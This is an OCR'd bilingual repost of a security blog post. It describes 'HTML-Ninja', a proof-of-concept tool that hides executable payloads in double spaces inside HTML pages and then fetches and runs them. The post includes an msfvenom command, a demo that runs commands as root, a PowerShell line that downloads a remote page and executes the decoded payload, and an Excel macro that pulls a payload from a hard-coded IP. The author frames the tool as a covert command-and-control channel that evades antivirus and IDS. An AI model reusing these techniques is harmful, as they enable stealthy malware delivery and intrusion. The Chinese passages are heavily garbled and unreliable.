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Afew years ago | came across a very academic challenge: it was a ZIP file containing a particular HTML page,
the aim was to obtain the usual FLAG.

JUEERT, BRI T —NEREARERS: X2 MR EHTMLUEKZIPX M, B KR RGIEE KRS,

The web page didn’t have any “juicy clue”, script, image or anything else. The only strange thing was the size
(a few MB) and the source was all in one line.

MIEAEAZHRLR", WA, BESEMAETAT. #-FENRLERRNILMB), FHHEREEH
BAE—ATHH .

The element that made me suspicious was the content: it was an extract from a Wikipedia page that kept
repeating itself many times. So | tried looking for differences between one repetition and another, but | couldn’t
find anything at all from a browser and therefore | checked the source directly. From there | discovered that |
wasn’t able to find the same occurrences within the page, up to a certain point from which the code began to
repeat itself constantly.

LBBEMEMERRAL: ERREWikipediaRmIHR, ZREAMEZ LK. FHit, REFAER - E
55— ANERZRAKNER, ERBRMATLTENNESFRIEMAE, FHLEREERETIE. MBE, K
RBLEERE P RBMEFAREG, EIRETFHEAMESHEN AL,

Analyzing the differences in the HTML source, the only thing that emerged were double spaces between the
words, arranged in an apparently random way.

SHHTMUERS P ER, ME— HILRR B Z B XUEEH, UUB SRR 75 X HEF

Even | don’t know how | got there, but looking on the Internet | found some papers of Indian undergraduates (I
think they were Indians) that illustrated the theory for implementing “inter-word” white spaces steganography
(something like SNOW plus an interesting vector): applying their thesis to my own custom scripts | managed to
trace binary files hidden within these duplicate white spaces on the page.

HEEREHEAMEMMBERE, ERETREM L, RERW—BENEREAEFNNEITRENEN)KBT, HRT
TP FH RS ARMER(GIIMSNOWAME B HE): KB XNATRECHEE XA , RIGHERE
I FERAE U T b IX e B R A AP ) R SO

The files were images, which contained other images, compressed files, their passwords and finally the FLAG
hidden in a digital audio file. And that was the challenge and the end of it.

REXHRER, HhOEHMER, KA, ENRERULRERBESFFIMFHRE. X2
PRk, RBERAIZ R


https://blog.csdn.net/weixin_26722031
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https://so.csdn.net/so/search/s.do?q=linux&t=blog&o=vip&s=&l=&f=&viparticle=
https://medium.com/swlh/html-whitespace-steganography-binary-exploit-delivery-w-powershell-over-html-poc-68fc286c581d
http://www.darkside.com.au/snow/
http://www.darkside.com.au/snow/

XA (The Concept)
As you can see, | quoted SNOW (SNOW exploits the Steganographic Nature Of Whitespace).
wiEpT L, 51 H T SNOW(SNOWHI A = AR EHR).

What SNOW does is to append white spaces (spaces and tabs) at the end of each line of an ASCI! file, thus
encoding binary data and encrypting them in various ways. The advantage and limitation of this solution is that
the amount of data that | can insert into a document is almost unlimited in relation to the number of lines
available. The real disadvantage is that any text editor is able to highlight excess suspicious spaces and tabs
at the end of the line, just like this information can be lost if the file is processed with parsers.

SNOWIE i R FEASCISC 4 8 — 1T IR BE I M (B A BIRAT), TR =32 6 B BE 4T B JF LA & T 7
A HHATINE . SR RO AAMBREET, A THKATE, RTUBAZSEFHEERLFR
TR . RIERBRER, EfSCARGERAAT AT HRER T BAL RIS HKMEIRS, sE&uRER
fRMTE A B SRR 2 B R BLAE B .

Steganography of inter-word white spaces, when applied to web pages, lets us insert any kind of binary data
between one word and another, in an absolutely invisible way from a browser and hardly recognizable by
reading the source: if you don’t know it’s there you will hardly notice it, because an extra space between one
tag or word and the other does not make you think anything bad.

B 1] 2 A RS R BLA T TR, AEBRATTAT DAFE 0 B 8% v A — o 28 5 A 7T AL 75 XA — AN BRAAL AN 53 — AN B3]
Z B NAEAT SRR ) I HE, F BARMEE S IR RG] . MREAMEEERE, BILFAHER
g, FA—AMRERERE S S — MR R R Z AN 2 R HALEEREBF T

The other positive side is that there is no data loss, because both static and dynamic HTML pages are
transmitted to the client and their browser is entirely in charge of their interpretation.

FHABRMGER, BEBEER, FABSHNSISHTMLTE LR R o, B HENESR T e 50 5TH
fERE

Of course we have some limitations: you can enter as much data as the content of the “container” page is
long, but this data can be compressed and you don’t necessarily need a lot of capacity if your payload are
commands/binary and not information.

B, BATE RG] EATCMA S AR WE A A K- RIOEE, EEF U LEEE, FENRENS
MM R/ B, FABA—ERERZTEER, BERER.

‘B T/EK (How does it work)

Long story short: alternating single and double spaces using a sort of Manchester encoding.

WAEF UL A8 —Fh R AR G B R 2B i FH B A AU 4%
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Manchester binary data transmission

SR B IR

This is possible because a browser will parse double spaces and always show them as single ones and
spaces between tags are invisible to the reader.

XARATRER), BEOINE SRR UG 4, IR EERARANZER, HARSEZRKZEN T ESEA

CIR/A: o 8
The file “pippo.htm!”:

A pippo.html”:

<b>Pippo</b> (<i>Goofy</i>, in precedenza <i>Dippy Dawg</i> e <i>Dippy the Goof</i><sup id="cite_ref-:0_1-0

...is exactly the same (has the same output) as “pipponinja.html”:

... 55" pipponinja.html” 58 448 [Fl (B & A R F$r ) -

<b>Pippo</b> (<i>Goofy</i>,

in

precedenza

<i>Dippy Dawg</i> e <i>Dippy the Goof</i><sup

id="cite_ref-:0



€ @ | file://ftmp/pippo.html < Search » =

[ Most Visited~ FlOffensive Security S Kali Linux & Kali Docs ', Kali Tools »

Pippo (Goofy, in precedenza Dippy Dawg e Dippy the Gooflll) A" un

personaggio immaginario dei cartoni animati e dei fumetti della Disney,

ideato nel 1932 da Pinto Colvig e dalla€™animatore Johnny Cannon
come comprimario di Topolino in un cortometraggio, ma viene
caratterizzato definitivamente dalla€™animatore Art Babbitt nel
19351 ¢ successivamente esordisce nei fumetti realizzati da Floyd
Gottfredson che definisce ulteriormente il personaggio dandogli
spessore come spalla di Topolinolll. A" apparso in centinaia di cartoni
animati come protagonista o comprimariol2! e in migliaia di albi a
fumetti realizzati in vari paesi del mondol3l,

2B+ (In practice)

Search » =

(@ | file:/ftmp/pipponinja.html v | C
[&] Most Visited~ JllOffensive Security " Kali Linux " Kali Docs " Kali Tools »

Pippo (Goofy, in precedenza Dippy Dawg e Dippy the Gooflll) A~ un
personaggio immaginario dei cartoni animati e dei fumetti della Disney,
ideato nel 1932 da Pinto Colvig e dalld€™animatore Johnny Cannon
come comprimario di Topolino in un cortometraggio, ma viene
caratterizzato definitivamente dalla€™ animatore Art Babbitt nel
1935 & successivamente esordisce nei fumetti realizzati da Floyd
Gottfredson che definisce ulteriormente il personaggio dandogli
spessore come spalla di Topolino[ll, A* apparso in centinaia di cartoni
animati come protagonista o comprimariol2l e in migliaia di albi a
fumetti realizzati in vari paesi del mondol3l

After banging my head trying to decode that cursed file, | thought of writing a POC to do the reverse operation

and try to “weaponize” a possible payload.

R EE R G, REHES

—MNPOCKRMA R BB, I B AL AT BE I R8T -

Why do | say “weaponize”? Because | challenge any proxy / WAF / AV to analyze and identify every single
space, embedded with potentially compressed or password protected payload, within each page sent in clear

on a legit HTTP(S) port.

FH AR A" ? B REDREAE TR WAF [ AVR 2 AR A S HT TP(S)ih

Mk BLBA SO SR IE )

AR PN T W B R 48 B2 S R 078 U B A A=)

[actually it’s just extremely fun to put an MSF payload into an HTML file and make it “executable’]

[SEFr £, RMSFE M ABIIAHTMLIAFF-E B W AT —RIEHE B .

This is how HTML-Ninja is born, in the absence of better acronyms.

ERAEFRHEEHELT,

HTML-Ninjai & R £ 1 o

by ephreet

s: the final result is a oneline HTML that, when parsed by brow:

spaces to contain the data to be hidden!
t will be unformatted text with a lot of suspicious spaces...

http url an

‘outfile’

cute the hex payload (payload must have a '|'
buth ncr,ptlun ch Jw ion

terminator)

The tool, raw and mcomplete isa POC wrltten malnly in Python (with Javascript and VBA variants) and allows
you to insert, extract and execute payloads within HTML files. Other features have been added in the
meantime but it still is a free time project which has not had much feedback.

ZTERFIHEKAMAEEEY, £ HHPython(3#7 JavascriptflVBAZE 14 ) 4% 5 KIPOC, 3 H A EHTMLC
fEdEN, REUHIPATE ES. FRGN T Mg, HElAR—IMRBHE, BHERKEZ KRG,

Help excerpt:

B % -


https://github.com/ephreet/html-ninja
https://github.com/ephreet/html-ninja

html-ninja.py -e source content outfile -> will encode the payload file 'content' into file 'source' and ou
html-ninja.py -d source outfile -> will try to decrypt white spaces in 'source' file into 'outfile’
html-ninja.py --check filename -> will check 'filename' for available spaces and spaces needed to embed the
html-ninja.py -d http://localhost/html-ninja.html stdout -> will get http url and output to stdout
html-ninja.py -d http://localhost/html-ninja.html exec -> will get http url and execute the hex payload (pa
html-ninja.py -ez / -dz ... -> adds zlib compression to both encryption and decryptionhtml-ninja.py -eb / -

Examples on github include:

github L KI5 B4

html-ninja.jsf1 html-ninja.html (html-ninja.js & html-ninja.html)
Javascript version and sample HTML showing a “self-decryption” page.
Javascriptht A FRBFIHTML, BR“EFEZE" T .

/ L ephreet/html-ninja: H... * \+

"€ @ filex/fitmp/html-ninja. htm | % ||c®Search oy =
[ Most Visited~ FllOffensive Security S Kali Linux S Kali Docs " Kali Tools %

macro_poc.basflhtm (macro_poc.bas & htm)
VBA version for automatic execution of payloads via Excel.
VBAKR A, W@ it Excel B 31T A 3 fi 3.

buf.txt (buf.txt)

Example of a MSF payload:

MSF# R 1 Bl :

msfvenom -p linux/x64/exec CMD="whoamij;id;uname -a" -f python -o buf.txt

...and a few others...



AR —
A~ Y6 (Demonstration)
Let’s take our buf.txt payload and hide it with zlib compression in pippo.html
1EIRAIREbuf bXtE 2518, I #Epippo.htmiHh 48 A zlib s 48K H R 5k
:/tmp/html-ninja# python html-ninja.py -ez /tmp/pippo.html buf.txt /tmp/pipporun.html

)

=
I
I
-

Reading contents of file /tmp/pippo.html ...
Space available:

8716

Space required:

937

Cleaning up document /tmp/pipporun.html ...
Generating final file /tmp/pipporun.html ...
File /tmp/pipporun.html created!

read” the content of pipporun.htmi

Now let’'s

BLAE, EFRAT B pipporun.htmlff P9 25
:/tmp/html-ninja# python html-ninja.py -dz /tmp/pipporun.html exec

)

e

jol s
A

8] [ .

Reading contents of file /tmp/pipporun.html ...

Converting and saving to exec ...

root

uid=0(root) gid=0(root) groups=@(root)

Linux kali 4.15.0-kali3-amd64 #1 SMP Debian 4.15.17-1kalil (2018-04-25) x86_ 64 GNU/Linux

# HTML ¥ Powershell i) — i % % 6 # A 32 £ [PoC] (Binary Exploit Delivery
w/Powershell over HTML [PoC])

Static HTML file gets downloaded -> HTML hides binary data -> HTML gets “executed”
TEESHTMLICA-> HTMLEz 58— 2 ) B4 ->“ 47" HTML

Harmless static HTML page with embedded binary payload:

BABRARX Z#HE MBI L EFHSHTMLITE:


https://ephreet.github.io/html-ninja/
https://ephreet.github.io/html-ninja/
https://ephreet.github.io/html-ninja/

A

Calculator

From Wikipedia, the free encyclopedia
Jump to navigation Jump to search
This article is about the electronic device. For mechanical precursors to the modern calculator, see mechanical ¢

An electronic pocket
calculator with a seven-
segment liquid-crystal

display (LCD) that can
perform arithmetic
operations

A modern scientific
calculator with a dot
matrnx LCD

An electronic calculator 1s typically a portable electronic device used to perform calculations, ranging from bas

The first solid-state electronic calculator was created in the early 1960s. Pocket-sized devices became available
the petroleum mndustry (o1l and gas).

Modern electronic calculators vary from cheap, give-away, credit-card-sized models to sturdy desktop models w
point where a basic calculator was affordable to most and they became common n schools.

Could embed msfvenom meterpreter or any other file, but for the sake of the PoC we are going with the usual
“calc.exe”.

A] LAk A msfvenom meterpretersiAE ] H A ScfF, HRH TFPoCHIERE, RATEAERER K calc.exe”.
Proof of Concept run (payload = “iex calc.exe”):

M RIEIEAT (A A8 A =" iex calc.exe”):

$CnC = "https://ephreet.github.io/html-ninja/"; $pch = "nil"; $b = ""; $ch = ""
foreach ($cu in (Invoke-WebRequest $CnC -UserAgent "Mozilla/5.@ (Android 4.4; Mobile; rv:41.0) Gecko/41.0 F
($b -split '(\w{8})' | ? {$_}) | ForEach-Object {$c = $c + [convert]::Tochar([System.Convert]::ToByte($_,2)



: Calcolatrice = O *
= Standard & )
:Tochar([5 0
M+ M- MS
Yo CE C &
Vi X2 3% =
7 8 9 X
4 5 6 —
1 2 3 +
i 0 =

Source: https://github.com/ephreet/html-ninja/

ZRRYE: https : //github.com/ephreet/html-ninja/

¥ &[ANY.RUN] (SANDBOX [ANY.RUN])

Let’'s see what a sandbox sees in relation to the payload inserted in Excel macro.
EBANTREF SiEAExcelE H A MM BH KK

Used sandbox: any.run

—FWHH: any.run

Payload: cmd.exe

AR cmd.exe

The Excel file contains an onload macro that makes the request for the payload via HTTP and executes its
content using the algorithm. | expect the abnormal behavior of the script and the download to be detected, but
this is a simulation imagining an already running service.

Excel XX & — onloadZ, ZEEIHTTPR XA MABRKIER, HEAFEITHENE. RAEETLUE
MEWAN T RFEIT N, ERXREYP-NCLEBITHRS .


https://github.com/ephreet/html-ninja/
https://github.com/ephreet/html-ninja/
https://github.com/ephreet/html-ninja/
https://any.run/
https://any.run/

B a9 Cartell - Microsoft Excel

Cartel1.xIsm [INFO

[ vome | mmsen  eageout Fomuns .
1 & cut =
Ba copy
POt Wiamatiiint | B L Lo | /B R 2 SRALD <3
appost | Font hmeer .| s | ENVIRONMENT T
i & B T

& sample - Reporisv | 1 W f

PROCESS

EXCELEXE /dde

M 4> ¥ Fogliea %3
Reaay | 23 |
Do) @ 5 0 € 0@

~  HTTP REQUESTS 1. CONNECTIONS 1| DNSREQUESTS O THREATS 0
@ Time HTTP code Method Rep D Process URL
2074ms  [Z60H0K) | GET 2000 EXCELEXE 01 hup://80.117.1 36/msf_payload.htm I ¥V 449kb |

e

MOVE YOUR MOUSE TO VIEW SCREENSHOTS

(—@-)

The Excel file is opened and the payload executed, then it works. Obviously the sandbox realizes that
something is wrong because the file has contacted a website and a command has been executed.

KATHExcel 3L PITHEMME, REERSTIE. B, YDHARRABET RAM, FAZXHCEMERKR
HFHEWITHL.

Analyzing the HT TP request we can only see harmless HTML source:

AHHTTPER, HATREEE BT FHTMLE:



A Saved response data
>1 Look up on VirusTotal

TrID - File Identifier

PREVIEW HEX

ampo

parator

;?1 bl
opu

Which in this example is saved locally even if | am not required to do so, it doesn’t generate big alarms
however:

B B AN 6 BAE MR Bl ol AR AE A, A A RAER:

A FILES MODIFICATION Filter by name Show only important

Time offset Process Filename Type
93ms 000 EXCEL.EXE \ 2 al\ Temp\CVRAB96.tmp.cvr not available

Windows \ Temporary Internet Files\Content.IE5\ROZEWHBD\msf_payload[1].htm

@
(7 1687ms EXCEL.EXE
E 3

=
1703ms EXCEL.EXE C\ rs\a \ sf_payload.htm
=

1859ms EXCEL.EXE -\ Users\admin\AppData\Local\ Temp\~$Cartel1.xlsm not available

Let’s check on VirusTotal anyway:

Twwife, ikEFEATREVirusTotal:

v total

SHAZ256: 2398efTfedf225f275d4865111c4e89847dd665d96d6h38a51d7 1f70e91ef05d

File name: msf_payload.htm

Detection ratio: 0/58 .r 0

Analysis date: 2018-09-12 11:44:15 UTC ( 0 minutes ago )

@)
o

= Analysis © Additional information ® Comments ) Votes

Antivirus Result Update

Ad-Aware (V] 20180912
AegisLab V] 20180912
AhnLab-V3 ] 20180912
Alibaba 20180713
AlYac (/] 20180912

Antiv-AVI (] 201230917



These are the suspicious indicators: it is clearly unusual for Excel to make HT TP requests, but no alarm from
IPS or IDS:

X RAEERTEPR: Excel RIBHTTPIE R AR EN, HREE KB IPSEIDSH & H:
INDICATORS OF SUSPICIOUS BEHAVIOUR
GER
Runs app for hidden code execution

Unusual execution from Microsoft Office

Starts CMD.EXE for commands execution

Unusual connect from Microsoft Office

Reads Microsoft Office registry keys

To be clear, normally there would be some evidence like these, which are precisely the Suricata rules:

FEWHNE, BFH —LROKERE, XL&IERSuricatafi ] :

A Network Trojan was detected

A Network Trojan was detected

A Network Trojan was detected

A Network Trojan was detected 2eg5ves ET TROJAN Backdc

A Network Trojan was detected E ET TROJAN Backdoor.

Okay, the sandbox notices (of course) and the URL is quite obvious. Even a static analysis of the sample
would have allowed us to trace the behavior.

), WEXRKHBEHM(ER), FHURLBHE. EERARKEHESSITHITLERITERT .

But what if instead of delivering the payload | installed a service? What if it were a browser plugin? In short, if |
could avoid the sandbox and the connections were towards http://random.foo/info.htm (invented!) could | rely
only on the reputation of a domain?

B2, MRREEROAEHEN, MRRET RS, ZEAR? MRRNEHREHELL? HMNEZ, WRR
REBE S YDA, FF HOEEAR M http:/random.foo/info.ntm (2R # ! ), R REEKERL KE%E?

£t (Conclusions)

Okay, it's a POC. Yes, a payload must still be delivered before it can be executed. And yes, a sandbox will still
notice what is being done.

FH, ZR—MPOC. R, AMABIRLIZ A BESAT. BH, WHIEHEBEEEIITHERE.

But let's imagine a more targeted version, perhaps with an offset from which to read the steganographed part
in an HTML page, a service running on your PC that makes web requests to absolutely harmless pages that
we control.

EHR, IEEMBR—NERAERRA, BFE—ErmEE, " SRHTMUE RS, X —
FEERIPC LB THIARST, AT T BATIR ] i 48 %0 T8 3 1 U & H Webig K .


http://random.foo/info.htm
http://random.foo/info.htm

Wouldn’t that be a Command and Control hidden in plain sight? After the sandbox, would an IPS / IDS be able
to intercept it?

SEE XA R R L B fr & A ? PG, IPS/IDSEEW UEETE?
Meanwhile, | certainly had a lot of fun opening a reverse shell by “running” an HTML file.

R, JEd“iE47" HTMLSCHTIT R 1A 558 2 SRR A

1% 8 https://medium.com/swih/html-whitespace-steganography-binary-exploit-delivery-w-powershell-over-html-poc-
68fc286¢581d

TR T poc AN I iR )


https://medium.com/swlh/html-whitespace-steganography-binary-exploit-delivery-w-powershell-over-html-poc-68fc286c581d
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